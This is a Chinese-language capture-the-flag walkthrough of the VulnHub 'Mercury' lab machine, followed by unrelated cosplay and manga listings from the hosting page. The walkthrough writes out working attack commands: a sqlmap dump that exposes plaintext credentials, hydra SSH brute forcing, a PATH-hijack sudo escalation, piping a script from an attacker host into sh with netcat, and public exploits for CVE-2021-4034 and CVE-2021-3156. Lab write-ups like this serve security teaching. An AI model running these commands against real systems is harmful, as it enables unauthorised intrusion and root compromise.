VulnHub通关流程:THE PLANETS:MERCURY-M妻少女漫画

THE PLANETS: MERCURYDescription

Mercury is an easier box, with no bruteforcing required. There are two flags on the box: a user and root flag which include an md5 hash.

Difficulty: Easy

下载地址:The Planets: Mercury ~ VulnHub

阶段一:信息收集1. 发现主机

netdiscover -i eth0 -r 192.168.1.1/24

获得目标主机IP,192.168.1.106

2. 扫描主机

nmap -p- -sV -sC -O -oN nmap.out 192.168.1.112

获得以下信息:

端口22开放,运行SSH服务

端口8080开放

运行有web服务

http-robots.txt: 1 disallowed entry

3. 针对web服务搜集信息

目录扫描

dirb http://192.168.1.113:8080/ -o dirb.out

发现文件robots.txt,没有额外信息。

发现404页面

当尝试进入不存在页面时(例如/admin),会发现404页面会显示额外信息

发现目录/mercuryfacts/

发现sql注入漏洞

进入页面/mercuryfacts/并点击load a fact会进入页面mercuryfacts/1/

修改URL为/merryfacts/1'/,发现error based漏洞。

获得以下信息:

后台存在mysql数据库

发现用户webmaster

发现注入点:

http://192.168.1.113:8080/mercuryfacts/1/阶段二:sql注入1.使用sqlmap进行sql注入

获取数据库名

sqlmap -u http://192.168.1.113:8080/mercuryfacts/1 --batch  --dump

发现数据表facts和users

在数据表users中发现账户密码。其中包括已知用户webmaster。

Database: mercuryTable: users[4 entries]+----+-------------------------------+-----------+| id | password                      | username  |+----+-------------------------------+-----------+| 1  | johnny1987                    | john      || 2  | lovemykids111                 | laura     || 3  | lovemybeer111                 | sam       || 4  | mercuryisthesizeof0.056Earths | webmaster |+----+-------------------------------+-----------+

在数据表user中发现信息

Database: mercuryTable: facts[8 entries]+----+--------------------------------------------------------------+| id | fact                                                         |+----+--------------------------------------------------------------+| 1  | Mercury does not have any moons or rings.                    || 2  | Mercury is the smallest planet.                              || 3  | Mercury is the closest planet to the Sun.                    || 4  | Your weight on Mercury would be 38% of your weight on Earth. || 5  | A day on the surface of Mercury lasts 176 Earth days.        || 6  | A year on Mercury takes 88 Earth days.                       || 7  | It's not known who discovered Mercury.                       || 8  | A year on Mercury is just 88 days long.                      |+----+--------------------------------------------------------------+

发现数据库mercury

使用hydra来寻找账户信息所对应的服务

ssh

hydra -L users.txt -P passwords.txt -e nsr  192.168.1.106 ssh

成功找到一个ssh用户:

[22][ssh] host: 192.168.1.106   login: webmaster   password: mercuryisthesizeof0.056Earths

通过SQL注入获取到账户信息:

用户:webmaster

密码:mercuryisthesizeof0.056Earths

阶段三:登录服务器1. 通过ssh登录服务器

ssh webmaster@192.168.1.106

2. 查看系统中账户

cat /etc/passwd

发现除webmaster外,系统中还存在另外两个账户。分别为mercury和linuxmaster。

3. 检查根目录

在用户根目录发现第一个flag文件。路径:/home/webmaster/user_flag.txt

发现文件~/mercury_proj/notes.txt

notes.txt信息:

Project accounts (both restricted):webmaster for web stuff - webmaster:bWVyY3VyeWlzdGhlc2l6ZW9mMC4wNTZFYXJ0aHMKlinuxmaster for linux stuff - linuxmaster:bWVyY3VyeW1lYW5kaWFtZXRlcmlzNDg4MGttCg==

由信息可知,两个账户均为受限账户。账户名后面数据编码格式为base64。

账户webmaster解码

echo "bWVyY3VyeWlzdGhlc2l6ZW9mMC4wNTZFYXJ0aHMK" | base64 -d

结果为mercuryisthesizeof0.056Earths,此结果与SQL注入阶段获取到的密码相同,可知为ssh登录密码。

账户linuxmaster解码

echo "bWVyY3VyeW1lYW5kaWFtZXRlcmlzNDg4MGttCg==" | base64 -d

结果为mercurymeandiameteris4880km。推测此为账户linuxmaster的ssh登录密码。

得到账户信息:

用户:linuxmaster

密码:mercurymeandiameteris4880km

阶段四:提权

有两种方法可以提权。第一种是通过账户linuxmaster对命令的特殊权限,进行命令替换,进而提权。另一种是通过linpeas扫描漏洞,直接通过漏洞提权。

1. 通过命令替换提权

切换为账户linuxmaster

su - linuxmaster

查看权限

sudo -l

发现用户linuxmaster可以调用需要root权限的程序check_syslog.sh。该程序位于路径/usr/bin/check_syslog.sh。

查看check_syslog.sh内容

cat /usr/bin/check_syslog.sh

结果为:

#!/bin/bashtail -n 10 /var/log/syslog

发现该程序需要调用命令tail。提权思路:替换tail,使root执行替换后的tail命令。

替换命令tail

在/tmp路径下新建文件tail,并使其可以调用bash。

echo "/bin/bash" > /tmp/tail

给予权限

chmod 777 /tmp/tail

将tail路径添加进环境变量

export PATH=/tmp:$PATH

保留当前环境变量PATH,使用sudo执行程序check_syslog.sh

sudo --preserve-env=PATH check_syslog.sh

成功获取root权限

在用户根目录发现第二个flag文件。路径:/root/root_flag.txt

2. 通过漏洞提权

使用linpeas来进行提权漏洞扫描。linpeas可以从github下载。

curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh

将linpeas.sh上传到靶机,并运行

攻击机

nc -lvp 8888 < linpeas.sh

靶机

nc -q 3 192.168.1.150 8888 | sh

发现了两个漏洞可以提权。分别是CVE-2021-4034和CVE-2021-3156。

使用漏洞CVE-2021-4034进行提权

下载漏洞利用文件

git clone https://github.com/berdav/CVE-2021-4034.git

编译

make

执行

./cve-2021-4034

获得root权限

使用漏洞CVE-2021-3156进行提权

下载漏洞利用文件

git clone https://github.com/blasty/CVE-2021-3156.git

编译

make

执行

./sudo-hax-me-a-sandwich 1

获得root权限

【Alice Cosplay】 Nezuko [12P 25MB]
2023-01-05
在韩国等地区极其流行的纵读漫画WEB TOON终于被日本漫画业巨头集英社看上,日前宣布进军纵读漫画圈,全新APP《JUMP TOON》将于2024年上线,虽然有些迟到不过总算跟上了形势。所谓纵读漫画特制专门适用于手机平台阅读的纵向分布卷轴漫画,业界也被称为Webtoon,在纸质漫画业已经成熟的当今市场下,仍被认为是一片蓝海,目前包括乐天、NTT、万代南梦宫以及亚马逊等日本巨头都已经相继进驻。
2023-05-31
欢迎大家来催更
2022-10-15
【Tokiwa】 Ilulu [52P 132MB]
2023-05-22
由甲田学人原作,日野杏寿担任作画的漫画《Missing》于26日发售的电击魔王7月号上开始连载。
2023-05-27
【凛子酱】 玉藻前 [34P 122MB]
2021-03-18
【PingPing】 Hoshou Marine Swimwear [27P 726MB]
2023-05-19
Vol.186 梦心玥[82P/826M]
2023-06-07
No.5862 温心怡[54P/491M]
2023-06-02
在本日(14日)由dwango举办的7局4胜制头衔战“叡王战”第4期的发表会上,一名设定是棋士的Vtuber“一二三酱”与大家见面了。在一二三酱进行自我介绍的时候,称自己在虚拟世界已经有67年的棋龄,段位为九段,十分尊敬现实世界中的棋士加藤一二三...
2022-10-28